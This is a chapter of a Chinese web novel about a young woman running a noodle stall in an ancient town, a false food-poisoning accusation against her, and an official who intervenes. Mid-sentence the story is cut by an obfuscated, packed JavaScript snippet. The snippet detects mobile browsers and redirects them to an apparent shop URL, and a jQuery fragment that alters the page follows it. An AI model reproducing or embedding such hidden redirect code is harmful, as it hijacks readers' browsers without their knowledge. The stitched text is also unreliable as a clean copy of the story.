沈芝摸黑起来,把昨晚准备好的东西一样样搬上小推车,炉子、铁锅、碗筷、洗好的野菜......。
那辆小推车是三天前从木匠铺取回来的,刷了层清漆,推起来稳当得很。
山路不好走,她推得慢,到镇上时,天色已经大亮了。
集市东头那块空地还空着,她占了靠街口的位置,把炉子支起来,锅架上去,柴火点燃,又从旁边的茶水摊借了桶水,把锅刷了一遍。
“姑娘新来的?”茶水摊的老板娘探出头,是个三十来岁的妇人,笑眯眯的。
“对,今儿头一天。”沈芝点点头,“婶子多关照。”
“好说好说。”老板娘看了看她的摊子,“卖面的?”
“嗯,三鲜面。”
沈芝把面和好,汤底热上,肉臊子搁在锅边温着,一切准备妥当,她直起腰,看着街上来来往往的人,深吸一口气。
头一个时辰,没人,偶尔有人瞥她一眼,又收回目光,继续走。
她也不急,把面和好,汤底搅了搅,香味飘出去。
又过了一会儿,有个老头走过来,看了看她的摊子,问道:“姑娘,面怎么卖?”
沈芝心里一喜:“八文一碗,汤底是骨头熬的,肉臊子另加两文。”
老头犹豫了一下,从袖子里摸出八文钱。
“来一碗。”
“好嘞!”
沈芝手脚麻利,下面、捞面、浇汤、撒野菜、码肉臊子,一碗面端到老头面前。
老头拿起筷子,夹了一筷,送进嘴里,沈芝盯着他,心提到了嗓子眼,老头没说话,又夹了一筷,然后他抬起头,看着她。
“姑娘。”他说,“你这汤怎么熬的?”
沈芝怔了怔:“怎么了?”
老头没答,低头把碗里的汤喝了个干净,连肉臊子带野菜,一点没剩。
他放下碗,抹了抹嘴。
“再来一碗。”
晌午时分,沈芝的摊子前排起了队,不长,七八个人,但在这集市上,已经算是一景了。茶水摊的老板娘端着碗茶,站在旁边看热闹,眼睛瞪得老大。
“姑娘,你这生意可以啊!”
沈芝顾不上答,手里忙着捞面、浇汤、码臊子,额头沁出细密的汗。
一碗碗面端出去,一碗碗空碗收回来。
沈芝心里那本账在飞快地翻,卖了二十三碗了,一碗八文,二十三碗就是一百八十四文,成本四文一碗,二十三碗成本九十二文,净赚九十二文。
九十二文。
她一个月上山挖野菜,也就赚这么多。
沈芝忽然想起前世加班到凌晨三点改方案的日子,那时候一个月挣一万,交完房租水电,剩下的点外卖都不够。
虽然现在摆面摊脏点累点辛苦点但心里从没这么踏实过,手里的动作不自觉的更快了。
日头偏西的时候,人渐渐少了。
沈芝正低头数着铜板,忽然听见一个熟悉的声音。
“沈姑娘。”
她抬头。
梁洵站在摊子前头,一身青色的袍子,手里拎着个布袋子,正看着她弯着眼睛笑。
“梁公子?”沈芝愣了一下,“你怎么来了?”
“来镇上办点事。”他说,“听说这边新开了个面摊,生意极好,便过来瞧瞧。见了果然是你”
沈芝嘿嘿笑了两声,指了指摊子上的空碗:“你都瞧见了,忙得脚不沾地。”
他点点头,目光落在她额头的汗上。
“还有面吗?”
“有有有。”沈芝应了一声,手脚麻利地下了一碗,“你等着,马上好。”
梁洵站在旁边等着。
旁边又来了两个客人,沈芝一边捞面一边招呼:“稍等啊,马上就好!”
片刻后沈芝火急火燎地朝着梁洵方向:“梁公子,你的好了——”
她把碗往他面前一放,又转身去招呼新来的客人。
梁洵端着面,站在那儿,看着她忙进忙出,从头到尾,没顾上再看他一眼。
梁洵低头看了看。
那碗面汤色清亮,面条油光水滑,野菜翠绿,肉臊子码得整整齐齐。
他拿起筷子,吃了一口,很好吃。
可他的目光,还是落在沈芝身上。
她正弯着腰收拾碗筷,头发丝从耳边垂下来,被她随手别到耳后。脸上的汗都顾不上擦,可嘴角是翘着的,眼睛亮亮的,像揣着多大一笔财似的。
梁洵把那碗面吃完,把碗放回摊子上,道:“沈姑娘。”
沈芝正给别人找钱,头也不回:“嗯?”
“我吃完了。”
“行,碗放着就行。”
梁洵垂下眼不禁蹙紧了眉,从袖中摸出十文钱,压在碗底。
***
沈芝连着摆了一周,生意都十分红火,这时摊子前刚坐下两个客人,忽然听见街口一阵喧哗。
“就是这家!就是这家面摊!”
她抬头,一个男人一瘸一拐地冲过来,脸色蜡黄,捂着肚子,身后跟着七八个看热闹的。
“大伙儿评评理!”那男人往她摊子前一坐,指着沈芝,“我昨儿个在她家吃了碗面,回去上吐下泻一宿,差点没把命搭上!”
人群哗地围了上来,沈芝放下手里的笊篱,看着他,不由得蹙紧了眉头。
“这位大叔,您确定是在我这儿吃的?”
“怎么不确定?”那男人一拍大腿,“三鲜面,八文钱,你那肉臊子不新鲜,我一吃就觉着不对劲!”
旁边的人开始窃窃私语。
“这姑娘的摊子开了好几天了,没听说过有问题啊。”
“那可说不准,肉这东西,放一宿就坏。”
沈芝没慌,正色看着他:“大叔,您什么时候来吃的?”
“昨儿个晌午!”
“您还记得我长什么样?”
那男人一愣,随即指着她:“就你!穿蓝布衣裳的,扎着髻,我还能认错?”
沈芝点点头,从摊子底下拿出一个本子。
“我这几天每卖一碗面,都记个数。”她翻到昨天那一页,“昨儿个晌午,我一共卖了三十七碗,您说说,您是什么时辰来的?我给您找找。”
那男人脸色变了变,支吾道:“谁、谁记那清楚……”
他脸涨得通红,忽然往地上一躺,打起滚来。
“哎哟喂!我的肚子啊!黑心肝的奸商啊!卖不新鲜的肉害人啊!”
他滚得尘土飞扬,一边滚一边嚎,嚎得整条街都往这边看。
人群越围越多,有几个人开始嘀咕:“不管怎么说,人家都这样了,你这面肯定有问题。”
“就是,不然怎么偏偏来闹你?”
沈芝攥紧了手心,定是生意火红招人眼红,存心来给她找不痛快的,至于是谁,她想了一圈人,除了那个死了的王麻子,只剩下那日面馆的掌柜了。
汤底的配方改良了大半,浇头配料也是自己想的,况且那掌柜家大业大一道菜就能卖出沈芝一日的营收,她怎么也想不通,自己哪里碍事儿了。
正僵持着,人群外忽然传来一个声音。
“让一让。”
人群分开,三两侍卫簇拥着一个年轻男人走进来。
他穿着一身靛蓝长衫,身量颀长,面容清俊,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375493|200083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
腰间挂着一块玉佩,看着像是官家的人。
“在下陆珩,任大理寺正六品下寺丞。”他微微颔首,目光落在地上打滚的那人身上,“这位姑娘的面,我连着吃了五日,日日都是晌午来,从未有过不适。”
他话音不高,却稳稳当当。
人群静了一瞬。
地上那人滚得更厉害了:“你、你谁啊?你吃了没事,不代表我吃了没事!”
陆珩没理他,转向沈芝。
“姑娘,这几日我都在你这里用饭,今儿个也来一碗。”
沈芝愣了一下,随即应道:“好......好嘞。”
她手脚麻利地下了一碗面,端到他面前。
陆珩接过,坐下,拿起筷子,当着众人的面,一口一口吃了起来。
片刻他冷冷高声道:“按大雍律,无故闹事阻市者,主犯徒二年,从犯杖一百,情节恶劣者流放!”
众人见此人器宇轩昂通身的官府做派,没人敢说话。
地上那人也不滚了,爬起来想溜。
“站住。”沈芝扬起声,“我已经让人去请青山村的屠户了。你既然说肉不新鲜,不如等屠户来了,当面问问。”
那人的脸白了。
没过多久,一个圆脸盘的中年汉子挤进人群,手里还提着杀猪刀,气喘吁吁的。
“谁?谁说我肉不新鲜?”
这是青山村卖猪肉的刘屠户,沈芝的面摊开了这么久,肉全是从他那儿买的。
刘屠户一看地上那人,眼睛瞪圆了:“是你?”
那人的脸彻底白了,又青一阵红一阵,吓得不行。
“这狗东西!”刘屠户指着他对众人说,“前几日在镇上赌钱输了,跟我借银子,我没借,今儿个就跑来讹人家姑娘?你还要不要脸?”
那人闻言抱头鼠窜,啐了口唾沫,一溜烟跑了。
人群叽叽喳喳的散开,沈芝站在原地,手心全是汗。
陆珩吃完最后一口面,放下筷子,从袖中摸出十文钱,放在摊子上。
沈芝诚恳道:“多谢公子出言相助。”
“姑娘的面很好。”他站起来,“在京城这种讹人的恶徒更甚,遇见了日后便有法子应对了,实在难缠报官就好。”冲她微微颔首,“在下明日再来。”
风波过后,沈芝的摊子就像泄气了般,不是没人路过,是路过的人看一眼她的摊子,犹豫一下,又走了。
寥寥几个客人和前些日的门庭若市对比,简直是一个天一个地。
茶水摊的老板娘端着茶过来,叹了口气。
“姑娘,今儿个这事……虽说弄清楚了,可这些人心里头总归犯嘀咕,过几日就好了。”
沈芝点点头,没说话。
收摊的时候,她数了数钱,二十三文。
卖了不到三碗。
收摊回去后,沈芝躺到床上,盯着头顶那道漏风的瓦缝。
都说二十一世纪创业难,在她看来古代创业更难。
她想起马婶说过的话——“你一个孤女,朝不保夕的”。
朝不保夕。
她本以为开了面摊,就能过上安稳日子。
可今天这事让她明白,在这个地方,你做得再好,也架不住有人使坏,这里没有监控没有法律法规保障,一次使坏,就能轻轻松松把你几天的辛苦全毁了。
得攒钱,攒够了钱,离开这个镇子,去更大的地方。
她翻身坐起来,拿起钱袋数了数,这几天攒了不到一两银子,离开这儿,还差得远。
沈芝把钱袋放回床底,和那个木匣子放在一起。
“等着。”她轻声说,“我会带你走的。”